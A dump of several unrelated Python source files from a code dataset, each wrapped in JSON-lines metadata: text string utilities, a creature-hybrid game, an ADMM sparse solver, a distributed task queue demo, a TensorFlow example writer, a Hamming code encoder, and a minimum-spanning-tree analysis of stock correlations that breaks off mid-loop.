occurred\")\r\n\r\n\r\nclass StringOperations(Task):\r\n \"\"\"\r\n class used to perform various operation on the text present in the input file\r\n \"\"\"\r\n def vowels_split(self):\r\n \"\"\"\r\n this funtion is to split the words in the list based on vowels\r\n \"\"\"\r\n list_vowels_split=[]\r\n try:\r\n for i in range(len(self.words)):\r\n list_vowels_split.extend(re.split('a|e|i|o|u|A|E|I|O|U',self.words[i]))\r\n logging.info(\"splitting based on vowels\")\r\n logging.info(list_vowels_split)\r\n self.words=list_vowels_split[:]\r\n except:\r\n logging.error(\"exception occurred : \")\r\n\r\n\r\n def counter_index(self):\r\n \"\"\"\r\n this funtion is to Create a Word dict with Key as counter\r\n index and value as the words present in file and print them on screen.\r\n \"\"\"\r\n logging.info(\"counter index with data as values\")\r\n return dict(enumerate(self.words))\r\n\r\n\r\n def unique_list(self):\r\n \"\"\"\r\n this funtion is to Convert all words into unique list and print in command line\r\n \"\"\"\r\n logging.info(\"unique list by removing duplicates\")\r\n return list(set(self.words))\r\n\r\n\r\n def maximum_repeated(self):\r\n \"\"\"\r\n this funtion is to Print the word that was repeated maximum number of times.\r\n \"\"\"\r\n try:\r\n logging.info(\"most repeated word in the input file\")\r\n self.most_repeat=Counter(self.words)\r\n return self.most_repeat.most_common(1)[0][0]\r\n except:\r\n logging.error(\"exception occurred : \")\r\n\r\n\r\n def caps_third_letter(self):\r\n \"\"\"\r\n this funtion is to Capitalize 3rd letter of every word\r\n \"\"\"\r\n try:\r\n for i in range(len(self.words)):\r\n if len(self.words[i])>=3:\r\n flag=list(self.words[i])\r\n flag[2]=flag[2].upper()\r\n self.words[i]=''.join(flag)\r\n logging.info(\"capitalizing every 3rd letter of a word\")\r\n logging.info(self.words)\r\n except:\r\n logging.error(\"exception occurred : \")\r\n\r\n def caps_fith_word(self):\r\n \"\"\"\r\n this funtion is to Capitalize all characters of every 5th word in the file.\r\n \"\"\"\r\n try:\r\n for i in range(4,len(self.words),5):\r\n self.words[i]=self.words[i].upper()\r\n logging.info(\"capitalizing every fifth word\")\r\n logging.info(self.words)\r\n except:\r\n logging.error(\"exception occurred : \")\r\n\r\n def semi_colon_replace(self):\r\n \"\"\"\r\n this funtion is to Use ; (semi-colon) for new line\r\n \"\"\"\r\n try:\r\n logging.info(\"replacing the new line character with semi colon\")\r\n for i in range(len(self.words)):\r\n self.words[i]=self.words[i].replace('\\n',';')\r\n except :\r\n logging.error(\"exception occurred : \")\r\n\r\n\r\n\r\n def starts_with_to(self):\r\n \"\"\"\r\n this funtion is to Print the number of words having prefix with “To” in the input file.\r\n \"\"\"\r\n count=0\r\n try:\r\n for i in self.words:\r\n if i.startswith(\"to\") or i.startswith(\"To\"):\r\n count+=1\r\n except:\r\n logging.error(\"exception occurred : \")\r\n\r\n return count\r\n\r\n\r\n def ends_with_ing(self):\r\n \"\"\"\r\n Print the number of words ending with “ing” in the input file\r\n \"\"\"\r\n count=0\r\n try:\r\n for i in self.words:\r\n if i.endswith(\"ing\"):\r\n count+=1\r\n except:\r\n logging.error(\"exception occurred : \")\r\n return count\r\n\r\n\r\n def palindrome(self):\r\n \"\"\"\r\n this funtion is to Print the palindrome present in the file.\r\n \"\"\"\r\n list_palindromes=[]\r\n try:\r\n for i in self.words:\r\n if i==i[::-1] and len(i)>1:\r\n list_palindromes.append(i)\r\n except:\r\n logging.error(\"exception occurred : \")\r\n return list_palindromes\r\n\r\n\r\n\r\n def unique_file_name(self):\r\n \"\"\"\r\n this funtion is to Output file name should be generated with unique name.\r\n \"\"\"\r\n try:\r\n logging.info(\"creating an unique file\")\r\n self.words=' '.join(self.words).split()\r\n self.un_fname=str(uuid.uuid4())\r\n self.un_fname+='.txt'\r\n self.write()\r\n except:\r\n logging.error(\"exception occurred : \")\r\n\r\n\r\n\r\nif __name__==\"__main__\":\r\n x=StringOperations(sys.argv[1])\r\n x.read()\r\n print(\"prefix with 'to' : \",x.starts_with_to())\r\n print(\"suffix with 'ing' : \",x.ends_with_ing())\r\n print(\"max repeated : \",x.maximum_repeated())\r\n print(\"palindromes : \",x.palindrome())\r\n print(\"unique words : \",x.unique_list())\r\n print(\"counter index : \",x.counter_index())\r\n x.vowels_split()\r\n x.caps_third_letter()\r\n x.caps_fith_word()\r\n x.semi_colon_replace()\r\n x.unique_file_name()\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"243365896","text":"import random\nimport pandas as pd\n\n\nclass Creature:\n def __init__(self, name, weight, num_legs, can_fly, has_tail, aquatic, breathes_fire):\n self.name = name\n #self.split_name()\n self.weight = weight\n self.num_legs = num_legs\n self.can_fly = can_fly\n self.has_tail = has_tail\n self.aquatic = aquatic\n self.breathes_fire = breathes_fire\n self.stats = [{\"Name\": name, \"Weight in lbs\": weight, \"Number of Legs\": num_legs, \"Can Fly\": can_fly,\n \"Has Tail\": has_tail, \"Aquatic\": aquatic, \"Breathes Fire\": breathes_fire}]\n self.df = pd.DataFrame(self.stats)\n\n def __repr__(self):\n return str(self.df)\n\n\ndef combine_creature(creature1, creature2):\n # Combines 2 creature objects and returns a new Creature object with hybrid\n new_name = combine_names(creature1.name, creature2.name)\n new_weight = (creature1.weight + creature2.weight) / 2\n if creature1.num_legs > creature2.num_legs:\n new_num_legs = random.randint(creature2.num_legs, creature1.num_legs)\n else:\n new_num_legs = random.randint(creature1.num_legs, creature2.num_legs)\n new_can_fly = random.choice([creature1.can_fly, creature2.can_fly])\n new_has_tail = random.choice([creature1.has_tail, creature2.has_tail])\n new_aquatic = random.choice([creature1.aquatic, creature2.aquatic])\n new_breathes_fire = random.choice([creature1.breathes_fire, creature2.breathes_fire])\n\n # Returns new creature with the new stats\n return Creature(new_name, new_weight, new_num_legs, new_can_fly, new_has_tail, new_aquatic,\n new_breathes_fire)\n # hybrid_creature = Creature(new_name, new_weight, new_num_legs, new_can_fly, new_has_tail, new_aquatic,\n # new_breathes_fire)\n # return hybrid_creature\n\n\ndef combine_names(name1, name2):\n # Combines 2 names and returns a new hybrid name.\n part1, part2 = \"\", \"\"\n num_vow, num_con = 0, 0\n vowels = ['a', 'e', 'i', 'o', 'u']\n\n # Selects part1 of the new_name\n i = 0\n while i < len(name1) - 1:\n part1 += name1[i]\n is_v = False\n for v in vowels:\n if v == name1[i]:\n is_v = True\n if is_v:\n num_vow += 1\n else:\n num_con += 1\n if (num_con > 0 and num_vow > 0) and (num_con > 1 or num_vow > 1):\n break\n i += 1\n\n # Selects part2 of new_name\n j = 0\n while j < len(name2) - 1:\n is_v = False\n for v in vowels:\n if v == name2[j]:\n is_v = True\n if is_v:\n num_vow += 1\n else:\n num_con += 1\n if (num_con > 0 and num_vow > 0) and (num_con > 1 or num_vow > 1):\n break\n j += 1\n part2 = name2[j:len(name2)]\n\n new_name = part1 + part2\n return new_name\n\n\n# Formatting to allow printing of an entire dataframe in Pycharm\npd.options.display.width = None\npd.options.display.max_columns = None\npd.set_option('display.max_rows', 42)\npd.set_option('display.max_columns', 42)\n\n# Creatures the player will select from\nlion = Creature(\"Lion\", 240, 4, False, True, False, False)\npython = Creature(\"Python\", 30, 0, False, True, True, False)\ndog = Creature(\"Dog\", 90, 4, False, True, False, False)\nhuman = Creature(\"Human\", 160, 2, False, False, False, False)\ntrout = Creature(\"Trout\", 3, 0, False, True, True, False)\neagle = Creature(\"Eagle\", 10, 2, True, True, False, False)\ndragon = Creature(\"Dragon\", 2700, 4, True, True, True, True)\nant = Creature(\"Ant\", 0.0000022046, 6, False, False, False, False)\noctopus = Creature(\"Octopus\", 80, 8, False, False, True, False)\n\ncreatures = [lion, python, dog, human, trout, eagle, dragon, ant, octopus]\n\nGAME = True\nwhile GAME:\n for i in range(len(creatures)):\n print(i + 1, creatures[i].name)\n\n choice1 = int(input(\"Select your first creature, 1 - \" + str(len(creatures)) + \": \")) - 1\n choice2 = int(input(\n \"Select your second creature, 1 - \" + str(len(creatures)) + \" to be combined with your first creature: \")) - 1\n\n hybrid = combine_creature(creatures[choice1], creatures[choice2])\n creatures.append(hybrid)\n print(\"**************** Creature Stats ****************\")\n print(\"Creature Choice 1\")\n print(creatures[choice1], \"\\n\")\n print(\"Creature Choice 2\")\n print(creatures[choice2], \"\\n\")\n print(\"Hybrid of a\", creatures[choice1].name, \"and a\", creatures[choice2].name)\n print(hybrid, \"\\n\")\n y_n = str(input(\"Press y to continue or another key to exit: \"))\n if y_n != \"y\":\n GAME = False\n","sub_path":"creature_creator.py","file_name":"creature_creator.py","file_ext":"py","file_size_in_byte":4655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"438281060","text":"'''\ntython.sparse.admm\n---\nADMM (alternating direction method of multipliers)\n'''\n\nimport numpy\nimport scipy.linalg\nimport scipy.sparse\nimport scipy.sparse.linalg\n\nfrom .common import shrinkage, costfun_l1ls\n\ndef factor(A, rho):\n m, n = A.shape\n if m >= n:\n L = numpy.linalg.cholesky(numpy.dot(A.T, A) + rho * numpy.eye(n))\n else:\n L = numpy.linalg.cholesky(numpy.eye(m) + 1.0 / rho * numpy.dot(A, A.T))\n return L, L.T\n\ndef solve_l1ls(A, b, lmd, rho=2.0, alpha=1.0, maxiter=200, verbose=False):\n global dot_prod, lin_solve, vec_norm\n if isinstance(A, numpy.ndarray):\n mat_prod = numpy.dot\n dot_prod = numpy.dot\n lin_solve = numpy.linalg.solve\n elif isinstance(A, scipy.sparse.csr_matrix):\n mat_prod = lambda A, x: scipy.sparse.csr_matrix.dot(A, x)\n dot_prod = lambda x, y: scipy.sparse.csr_matrix.dot(x, y).ravel()\n lin_solve = lambda A, x: scipy.sparse.linalg.gmres(A, x)[0]\n else:\n raise Exception('Invalid matrix type: dense or csr_matrix should be specified')\n\n m, n = A.shape\n x = numpy.zeros(n)\n z = numpy.zeros(n)\n u = numpy.zeros(n)\n\n L, U = factor(A, rho)\n Atb = dot_prod(A.T, b)\n\n history = None\n if verbose:\n print(' iter | residual ')\n history = [0.0] * maxiter\n\n for it in range(maxiter):\n q = Atb + (z - u)\n if m >= n:\n x = lin_solve(U, lin_solve(L, q))\n else:\n Aq = dot_prod(A, q)\n w = lin_solve(U, lin_solve(L, Aq))\n x = q / rho - dot_prod(A.T, w) / (rho ** 2.0)\n\n zold = z\n x_hat = alpha * x + (1.0 - alpha) * zold\n z = shrinkage(x_hat + u, lmd / rho)\n\n u = u + (x_hat - z)\n\n if verbose:\n history[it] = costfun_l1ls(A, x, b, lmd)\n print(' %3d | %.8f ' % (it + 1, history[it]))\n\n return x, history\n","sub_path":"tython/sparse/admm.py","file_name":"admm.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"257001260","text":"# -*- coding: utf-8 -*-\r\n# 分布式进程:发布任务的进程\r\n\r\nimport random\r\nimport time\r\nimport queue\r\nfrom multiprocessing.managers import BaseManager\r\nfrom multiprocessing import freeze_support\r\n\r\ntask_queue = queue.Queue() # 发送任务的队列\r\nresult_queue = queue.Queue() # 接收结果的队列\r\n\r\n\r\nclass QueueManager(BaseManager):\r\n pass\r\n\r\n\r\ndef getTask():\r\n return task_queue\r\n\r\n\r\ndef getResult():\r\n return result_queue\r\n\r\n\r\ndef do_task_master():\r\n # 把两个Queue都注册到网络上,callable参数是关联了Queue对象\r\n # windows下绑定调用接口不能使用lambda,所以只能先定义函数再绑定\r\n QueueManager.register('get_task_queue', callable=getTask)\r\n QueueManager.register('get_result_queue', callable=getResult)\r\n # 绑定端口5000,设置验证码'abc',windows下需要填写ip地址,linux下不填默认为本地\r\n manager = QueueManager(address=('127.0.0.1', 5000), authkey=b'abc')\r\n manager.start() # 启动Queue\r\n try:\r\n # 获得通过网络访问的Queue对象\r\n task = manager.get_task_queue()\r\n result = manager.get_result_queue()\r\n # 放几个任务进去\r\n for i in range(10):\r\n n = random.randint(0, 10000)\r\n print('Put task %d...' % n)\r\n task.put(n)\r\n # 从result队列读取结果\r\n print('Try get results...')\r\n for i in range(10):\r\n r = result.get(timeout=10)\r\n print('Result: %s' % r)\r\n finally:\r\n # 关闭\r\n manager.shutdown() # 一定要关闭,否则会报管道未关闭的错误\r\n print('master exit.')\r\n\r\n\r\nif __name__ == '__main__':\r\n freeze_support() # windows下多进程可能会炸,添加这句可以缓解\r\n do_task_master()\r\n","sub_path":"task_master.py","file_name":"task_master.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"517684355","text":"import os\nimport struct\n\nfrom tensorflow.core.example import example_pb2\n\nfrom preprocess import file_utils, constants\n\n\ndef write_to_bin(source_filename, target_filename, output_filename):\n source_sentences = file_utils.read_file_to_string(source_filename).split('\\n')\n target_sentences = file_utils.read_file_to_string(target_filename).split('\\n')\n\n with open(output_filename, 'wb') as fout:\n for source_sentence, target_sentence in zip(source_sentences, target_sentences):\n tf_example = example_pb2.Example()\n tf_example.features.feature['article'].bytes_list.value.extend([bytes(source_sentence, 'utf-8')])\n tf_example.features.feature['abstract'].bytes_list.value.extend([bytes('{}'.format(target_sentence), 'utf-8')])\n\n tf_example_str = tf_example.SerializeToString()\n str_len = len(tf_example_str)\n fout.write(struct.pack('q', str_len))\n fout.write(struct.pack('%ds' % str_len, tf_example_str))\n\n\ndef merge_vocab(source_vocab_filename, target_vocab_filename, merged_vocab_filename):\n source_vocab = file_utils.read_file_to_string(source_vocab_filename).split('\\n')\n target_vocab = file_utils.read_file_to_string(target_vocab_filename).split('\\n')\n\n merged_word_set = dict()\n for word in source_vocab:\n merged_word_set[word] = True\n for word in target_vocab:\n merged_word_set[word] = True\n\n merged_words_with_freq = ['{} tmp'.format(word) for word in merged_word_set.keys()]\n file_utils.write_string_to_file(merged_vocab_filename, '\\n'.join(merged_words_with_freq))\n\n\ndef main():\n write_to_bin(os.path.join(constants.RAW_DIR, 'lower_raw_data.train.source'),\n os.path.join(constants.RAW_DIR, 'lower_raw_data.train.target'),\n os.path.join(constants.INPUT_DIR, 'lower_raw_data.train_000.bin'))\n\n write_to_bin(os.path.join(constants.RAW_DIR, 'lower_raw_data.eval.source'),\n os.path.join(constants.RAW_DIR, 'lower_raw_data.eval.target'),\n os.path.join(constants.INPUT_DIR, 'lower_raw_data.eval_000.bin'))\n\n write_to_bin(os.path.join(constants.RAW_DIR, 'lower_raw_data.test.source'),\n os.path.join(constants.RAW_DIR, 'lower_raw_data.test.target'),\n os.path.join(constants.INPUT_DIR, 'lower_raw_data.test_000.bin'))\n\n merge_vocab(os.path.join(constants.RAW_DIR, 'lower_raw_data.vocab.source'),\n os.path.join(constants.RAW_DIR, 'lower_raw_data.vocab.target'),\n os.path.join(constants.INPUT_DIR, 'lower_raw_data.vocab'))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"preprocess/write_to_bin.py","file_name":"write_to_bin.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"269756381","text":"def isPower2(n):\r\n return not bool(n & n - 1)\r\n\r\n\r\ndef hammingCode(d):\r\n res = []\r\n pair_bits = []\r\n d = [bool(int(e)) for e in d]\r\n i = 1\r\n while d:\r\n if isPower2(i):\r\n res.append(False)\r\n pair_bits.append(i)\r\n else:\r\n res.append(d.pop(0))\r\n i += 1\r\n for pair_bit in pair_bits:\r\n for bit, index in zip(res, range(1, len(res) + 1)):\r\n if pair_bit & index:\r\n res[pair_bit - 1] = not res[pair_bit - 1]\r\n\r\n return res\r\n\r\n\r\nvar = \"10111011\"\r\nprint(\"Input:\", list(var))\r\ncoded = [str(int(e)) for e in hammingCode(var)]\r\nprint(\"Coded:\", coded)\r\n","sub_path":"Hamming.py","file_name":"Hamming.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"575919716","text":"#!/usr/bin/env python\n\n#-----------------------------------------------------------------------------\n# Copyright (c) 2011-2013, The BIOM Format Development Team.\n#\n# Distributed under the terms of the Modified BSD License.\n#\n# The full license is in the file COPYING.txt, distributed with this software.\n#-----------------------------------------------------------------------------\n\n__author__ = \"Greg Caporaso\"\n__copyright__ = \"Copyright 2011-2013, The BIOM Format Development Team\"\n__credits__ = [\"Greg Caporaso\", \"Jai Ram Rideout\"]\n__license__ = \"BSD\"\n__version__ = \"1.2.0-dev\"\n__maintainer__ = \"Greg Caporaso\"\n__email__ = \"gregcaporaso@gmail.com\"\n\nfrom pyqi.core.command import make_parameter_collection_lookup_f\nfrom pyqi.core.interfaces.optparse.output_handler import write_list_of_strings\nfrom pyqi.core.interfaces.optparse import (OptparseOption,\n OptparseUsageExample,\n OptparseOption, OptparseResult)\nfrom biom.commands.table_summarizer import CommandConstructor\nfrom biom.interfaces.optparse.input_handler import (\n load_biom_table_with_file_contents)\n\nparam_lookup = make_parameter_collection_lookup_f(CommandConstructor)\n\nusage_examples = [\n OptparseUsageExample(ShortDesc=\"Basic script usage\",\n LongDesc=\"Write a summary of table.biom to table_summary.txt\",\n Ex=\"%prog -i table.biom -o table_summary.txt\")\n]\n\ninputs = [\n OptparseOption(Parameter=param_lookup('table'),\n InputType=\"existing_filepath\",\n InputHandler=load_biom_table_with_file_contents,\n ShortName='i',\n Name='input-fp'),\n OptparseOption(Parameter=param_lookup('qualitative'),\n InputType=None,\n InputAction=\"store_true\"),\n OptparseOption(Parameter=param_lookup('suppress_md5'),\n InputType=None,\n InputAction=\"store_true\"),\n OptparseOption(Parameter=None,\n InputType='new_filepath',\n ShortName='o',\n Name='output-fp',\n Required=True,\n Help='the output filepath')\n]\n\noutputs = [\n OptparseResult(ResultKey='biom-summary',\n OutputHandler=write_list_of_strings,\n OptionName='output-fp')\n]\n","sub_path":"biom/interfaces/optparse/config/summarize_table.py","file_name":"summarize_table.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"334478142","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport collections\nimport scipy\nimport math\nimport networkx as nx\nimport os\nimport pandas as pd\nfrom pathlib import Path\nimport operator\nimport matplotlib\nfrom scipy.stats import spearmanr, pearsonr, kendalltau\n\n# Set font size\nfont = {'family' : 'normal',\n 'weight' : 'normal',\n 'size' : 14}\n\nmatplotlib.rc('font', **font)\n\ndef mean_occupation_layer(mst_G):\n \"\"\"\n Calculates the mean occupation layer, uses the node with the highest degree\n as the center of the tree\n \"\"\"\n central_node = sorted(mst_G.degree(), key=lambda x: x[1], reverse=True)[0][0]\n shortest_paths = nx.shortest_path_length(mst_G, source=central_node)\n mean_ol = np.array(list(shortest_paths.values())).mean()\n return mean_ol\n\ndef measure_leaf_fraction(mst_G):\n \"\"\"\n Calculates the fraction of edges with degree 1\n \"\"\"\n M = nx.to_numpy_array(mst_G)\n p = M.shape[0]\n M[np.abs(M) > 0] = 1\n degree = M.sum(axis=0)\n\n return np.count_nonzero(degree == 1)/(2*(p-1))\n\ndef sort_dict(dct):\n \"\"\"\n Takes a dict and returns a sorted list of key value pairs\n \"\"\"\n sorted_x = sorted(dct.items(), key=operator.itemgetter(1), reverse=True)\n\n return sorted_x\n\ndef get_sector_full_nice_name(sector):\n \"\"\"\n Returns a short version of the sector name\n \"\"\" \n if sector == \"information_technology\":\n return \"Information Technology\"\n elif sector == \"real_estate\":\n return \"Real Estate\"\n elif sector == \"materials\":\n return \"Materials\"\n elif sector == \"telecommunication_services\":\n return \"Telecommunication Services\"\n elif sector == \"energy\":\n return \"Energy\"\n elif sector == \"financials\":\n return \"Financials\"\n elif sector == \"utilities\":\n return \"Utilities\"\n elif sector == \"industrials\":\n return \"Industrials\"\n elif sector == \"consumer_discretionary\":\n return \"Consumer Discretionary\"\n elif sector == \"health_care\":\n return \"Healthcare\"\n elif sector == \"consumer_staples\":\n return \"Consumer Staples\"\n else:\n raise Exception(\"%s is not a valid sector\" % sector)\n\ndef calculate_mst_diff(mst, prev_mst):\n nodes = list(mst.nodes)\n M = nx.to_numpy_array(mst, nodes)\n p = M.shape[0]\n M_prev = nx.to_numpy_array(prev_mst, nodes)\n\n M[np.abs(M) > 0] = 1\n M_prev[np.abs(M_prev) > 0] = 1\n\n fraction_total_diff = np.count_nonzero(M - M_prev)/(4*(p-1))\n\n M_diff = M - M_prev\n node_diff = np.abs(M_diff.sum(axis=0))\n fraction_node_diff = np.divide(node_diff, M.sum(axis=0))\n return fraction_total_diff, node_diff, fraction_node_diff\n\ndef correlation_to_distance(G):\n \"\"\"\n Converts a correlation graph to a distance based one\n \"\"\"\n G = G.copy()\n for edge in G.edges():\n G.edges[edge]['weight'] = np.sqrt(2 - 2*G.edges[edge]['weight'])\n return G\n\ndef measure_node_difference(mst_1, mst_2):\n nodes = list(mst_1.nodes)\n M_1 = nx.to_numpy_array(mst_1, nodes)\n M_2 = nx.to_numpy_array(mst_2, nodes)\n\n p = M_1.shape[0]\n\n M_1[np.abs(M_1) > 0] = 1\n M_2[np.abs(M_2) > 0] = 1\n\n node_difference = (M_1 - M_2).sum(axis=0)\n node_degree_one = M_1.sum(axis=0)\n node_degree_two = M_2.sum(axis=0)\n \n degree_diff_corr, _ = spearmanr(node_degree_one, node_difference)\n degree_corr, _ = spearmanr(node_degree_one, node_degree_two)\n\n # Threshold the adjacency matrix so we only get high degree nodes\n node_degree_one[node_degree_one > 4] = 0\n node_degree_two[node_degree_two > 4] = 0\n threshold_degree_corr, _ = spearmanr(node_degree_one, node_degree_two)\n\n return degree_diff_corr, degree_corr, threshold_degree_corr\n\ndef calculate_exponent(G):\n \"\"\"\n Calculates the power law exponent for the degree distribution\n \"\"\"\n M = nx.to_numpy_array(G)\n p = M.shape[0]\n M[np.abs(M) > 0] = 1\n degrees = M.sum(axis=0)\n\n alpha = 1 + p * np.reciprocal(np.log(degrees).sum())\n return alpha\n\ndef calculate_tau_matrix(X):\n n, p = X.shape\n\n M = np.zeros((p, p))\n for i in range(p):\n for j in range(i, p):\n if i == j:\n continue\n M[i, j], _ = kendalltau(X[:, i].reshape(-1, 1), X[:, j])\n\n return M + M.T\n\ndef get_centrality(G, degree=True):\n \"\"\"\n Calculates the centrality of each node and mean centrality of a sector \n if degree is true we use degree centrality, if not we use betweeness centrality\n \"\"\"\n node_centrality = collections.defaultdict(float)\n total = 0\n\n if not degree:\n # Do betweeness centrality\n node_centrality = nx.betweenness_centrality(G)\n else:\n # Calculate the edge centrality\n node_centrality = nx.degree_centrality(G)\n\n sorted_centrality = sort_dict(node_centrality)\n centrality_names = [x[0] for x in sorted_centrality]\n centrality_sectors = []\n\n for name in centrality_names:\n centrality_sectors.append(G.nodes[name]['sector'])\n\n # Figure out the mean centrality of a sector\n sector_centrality = collections.defaultdict(float)\n no_companies_in_sector = collections.defaultdict(int)\n\n for comp in G:\n sector = G.nodes[comp]['sector']\n sector_centrality[sector] += node_centrality[comp]\n no_companies_in_sector[sector] += 1\n for sec in sector_centrality:\n sector_centrality[sec] /= no_companies_in_sector[sec]\n\n return node_centrality, sector_centrality\n\n# Set the country you desire to analyze\ncountry = \"US\"\ndf = pd.read_csv(\"S&P500.csv\", index_col=0)\nwindow_size = 252*2\n\ncompany_sectors = df.iloc[0, :].values\ncompany_names = df.T.index.values\n\ndf_2 = df.iloc[1:, :]\ndf_2 = df_2.apply(pd.to_numeric)\ndf_2.index = pd.to_datetime(df_2.index)\n\ndf_2 = np.log(df_2) - np.log(df_2.shift(1))\n\nX = df_2.values[1:, :]\n\nslide_size = 30\nno_samples = X.shape[0]\np = X.shape[1]\nno_runs = math.floor((no_samples - window_size)/ (slide_size))\ndates = []\n\nfor x in range(no_runs):\n dates.append(df_2.index[(x+1)*slide_size+window_size])\ndt = pd.to_datetime(dates)\ndt_2 = dt[1:]\n\n\nslide_size = 30\nno_samples = X.shape[0]\np = X.shape[1]\nno_runs = math.floor((no_samples - window_size)/ (slide_size))\ndates = []\n\nfor x in range(no_runs):\n dates.append(df_2.index[(x+1)*slide_size+window_size])\ndt = pd.to_datetime(dates)\ndt_2 = dt[1:]\n\nGraphs_spearman = []\nGraphs_pearson = []\nGraphs_tau = []\n\npearson_largest_eig = np.zeros(no_runs)\nspearman_largest_eig = np.zeros(no_runs)\ntau_largest_eig = np.zeros(no_runs)\n\npearson_corr_values = np.zeros(p**2 * no_runs)\nspearman_corr_values = np.zeros(p**2 * no_runs)\ntau_corr_values = np.zeros(p**2 * no_runs)\n\nstdev = np.zeros((p, no_runs))\nkurtosis = np.zeros((p, no_runs))\n\nfor x in range(no_runs):\n print(\"Run %s\" % x)\n X_new = X[x*slide_size:(x+1)*slide_size+window_size, :]\n stdev[:, x] = np.std(X_new, axis=0)\n kurtosis[:, x] = scipy.stats.kurtosis(X_new, axis=0)\n corr = np.corrcoef(X_new.T)\n pearson_largest_eig[x] = scipy.linalg.eigh(corr, eigvals_only=True, eigvals=(p-1, p-1))[0]\n np.fill_diagonal(corr, 0)\n pearson_corr_values[x*p**2:(x+1)*p**2] = corr.flatten()\n\n G=nx.from_numpy_matrix(corr)\n G=nx.relabel_nodes(G, dict(zip(G.nodes(), company_names)))\n node_attributes = dict(zip(company_names[list(range(len(company_sectors)))], company_sectors))\n nx.set_node_attributes(G, node_attributes, 'sector')\n Graphs_pearson.append(G)\n\n corr, _ = spearmanr(X_new) \n spearman_largest_eig[x] = scipy.linalg.eigh(corr, eigvals_only=True, eigvals=(p-1, p-1))[0]\n np.fill_diagonal(corr, 0)\n spearman_corr_values[x*p**2:(x+1)*p**2] = corr.flatten()\n\n\n G=nx.from_numpy_matrix(corr)\n G=nx.relabel_nodes(G, dict(zip(G.nodes(), company_names)))\n node_attributes = dict(zip(company_names[list(range(len(company_sectors)))], company_sectors))\n nx.set_node_attributes(G, node_attributes, 'sector')\n Graphs_spearman.append(G)\n\n corr = calculate_tau_matrix(X_new) \n tau_largest_eig[x] = scipy.linalg.eigh(corr, eigvals_only=True, eigvals=(p-1, p-1))[0]\n tau_corr_values[x*p**2:(x+1)*p**2] = corr.flatten()\n np.fill_diagonal(corr, 0)\n\n G=nx.from_numpy_matrix(corr)\n G=nx.relabel_nodes(G, dict(zip(G.nodes(), company_names)))\n node_attributes = dict(zip(company_names[list(range(len(company_sectors)))], company_sectors))\n nx.set_node_attributes(G, node_attributes, 'sector')\n Graphs_tau.append(G)\n\nprev_mst_spearman = None\nprev_mst_pearson = None\nprev_mst_tau = None\n\npearson_diffs = np.zeros(no_runs-1)\nspearman_diffs = np.zeros(no_runs-1)\ntau_diffs = np.zeros(no_runs-1)\n\ntotal_prescence_pearson = np.zeros((p, p))\ntotal_prescence_spearman = np.zeros((p, p))\ntotal_prescence_tau = np.zeros((p, p))\n\npearson_spearman_diff = np.zeros(no_runs)\npearson_tau_diff = np.zeros(no_runs)\nspearman_tau_diff = np.zeros(no_runs)\n\ndegree_diff_corr = np.zeros(no_runs)\npearson_spearman_degree_corr = np.zeros(no_runs)\npearson_tau_degree_corr = np.zeros(no_runs)\nspearman_tau_degree_corr = np.zeros(no_runs)\n\npearson_spearman_threshold_degree_corr = np.zeros(no_runs)\npearson_tau_threshold_degree_corr = np.zeros(no_runs)\nspearman_tau_threshold_degree_corr = np.zeros(no_runs)\n\nedges_life_pearson = np.zeros(no_runs)\nedges_life_spearman = np.zeros(no_runs)\nedges_life_tau = np.zeros(no_runs)\n\npearson_spearman_node_diff = np.zeros((no_runs, p))\npearson_tau_node_diff = np.zeros((no_runs, p))\nspearman_tau_node_diff = np.zeros((no_runs, p))\n\nfirst_tree_pearson = None\nfirst_tree_spearman = None\nfirst_tree_tau = None\n\nmean_ol_pearson = np.zeros(no_runs)\nmean_ol_spearman = np.zeros(no_runs)\nmean_ol_tau = np.zeros(no_runs)\n\ndiameter_pearson = np.zeros(no_runs)\ndiameter_spearman = np.zeros(no_runs)\ndiameter_tau = np.zeros(no_runs)\n\naverage_shortest_path_length_pearson = np.zeros(no_runs)\naverage_shortest_path_length_spearman = np.zeros(no_runs)\naverage_shortest_path_length_tau = np.zeros(no_runs)\n\nleaf_fraction_pearson = np.zeros(no_runs)\nleaf_fraction_spearman = np.zeros(no_runs)\nleaf_fraction_tau = np.zeros(no_runs)\n\nalpha_pearson = np.zeros(no_runs)\nalpha_spearman = np.zeros(no_runs)\nalpha_tau = np.zeros(no_runs)\n\nsector_degree_centrality_pearson = collections.defaultdict(list)\nsector_degree_centrality_spearman = collections.defaultdict(list)\nsector_degree_centrality_tau = collections.defaultdict(list)\n\nsector_betweenness_centrality_pearson = collections.defaultdict(list)\nsector_betweenness_centrality_spearman = collections.defaultdict(list)\nsector_betweenness_centrality_tau = collections.defaultdict(list)\n\nbetweeness_centrality_agreement_pearson_spearman = np.zeros(no_runs)\nbetweeness_centrality_agreement_pearson_tau = np.zeros(no_runs)\nbetweeness_centrality_agreement_spearman_tau = np.zeros(no_runs)\n\n# Just ensure we get the same order of nodes at every graph\nnodes = list(Graphs_pearson[0].nodes)\n\nfor i, (G_pearson, G_spearman, G_tau) in enumerate(zip(Graphs_pearson, Graphs_spearman, Graphs_tau)):\n mst_pearson = nx.minimum_spanning_tree(correlation_to_distance(G_pearson))\n mst_spearman = nx.minimum_spanning_tree(correlation_to_distance(G_spearman))\n mst_tau = nx.minimum_spanning_tree(correlation_to_distance(G_tau))\n if i == 0:\n first_tree_pearson = mst_pearson\n first_tree_spearman = mst_spearman\n first_tree_tau = mst_tau\n\n if prev_mst_spearman is not None:\n pearson_diffs[i-1], _, _ = calculate_mst_diff(mst_pearson, prev_mst_pearson)\n 